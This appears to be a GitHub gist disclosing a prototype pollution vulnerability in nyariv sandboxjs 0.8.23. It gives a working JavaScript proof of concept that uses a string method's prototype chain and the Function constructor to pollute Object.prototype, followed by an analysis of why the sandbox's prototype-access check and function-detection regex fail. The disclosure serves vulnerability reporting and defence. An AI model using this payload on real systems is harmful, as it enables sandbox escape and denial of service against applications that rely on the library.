Skip to content

Instantly share code, notes, and snippets.

@Hagrid29
Last active April 25, 2025 13:53
Show Gist options
  • Select an option

  • Save Hagrid29/9df27829a491080f923c4f6b8518d7e3 to your computer and use it in GitHub Desktop.

Select an option

Save Hagrid29/9df27829a491080f923c4f6b8518d7e3 to your computer and use it in GitHub Desktop.

Prototype Pollution in nyariv sandboxjs version 0.8.23

Product

nyariv sandboxjs

Version

0.8.23

Description

SandboxJS version 0.8.23 was discovered to contain a prototype pollution vulnerability which can cause a Denial of Service (DoS) and potentially escape sandbox via injecting arbitrary properties.

PoC

var Sandbox = require("@nyariv/sandboxjs").default;

var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));

const code = `
"".sub.__proto__.__proto__.__defineGetter__('polluted', {}.constructor.constructor("return true"));
`;
const scope = { myTest: "test" };
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
const result = exec(scope).run(); 

console.log("After Attack: ", JSON.stringify(victim.__proto__));

Analysis

Prototype Access Checking

SandboxJS perform prototype access checking in dist/node/executor.js#L226. "".sub return function of sub. While SandboxJS check with __proto__ of "".sub, it will go to branch dist/executor.js#L225 since type of sub.__proto__ is function. Its hasOwnProperty of __proto__ return false and thus no SandboxError is catched. Similarly, no SandboxError is catched during the checking of prototype __proto__ access of "".sub.__proto__ Likewise, the payload works well with (()=>"") in replace of "".sub. While payload wont work with {}.__proto__ because its not a function and fall into branch dist/executor.js#L238, and fail to bypass the whitelisting

Sandboxed function/object

SandboxJS use Regex to detect any function declared in the code dist/node/parser.js#L261-263 and replace it with sandboxed version here dist/executor.js#L26. Since payload {}.constructor.constructor("return true") is not catched by any regex expression, scope is not defined during the execution of executeTree in sandboxed function and, thus, can be executed without any error.

Reference

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment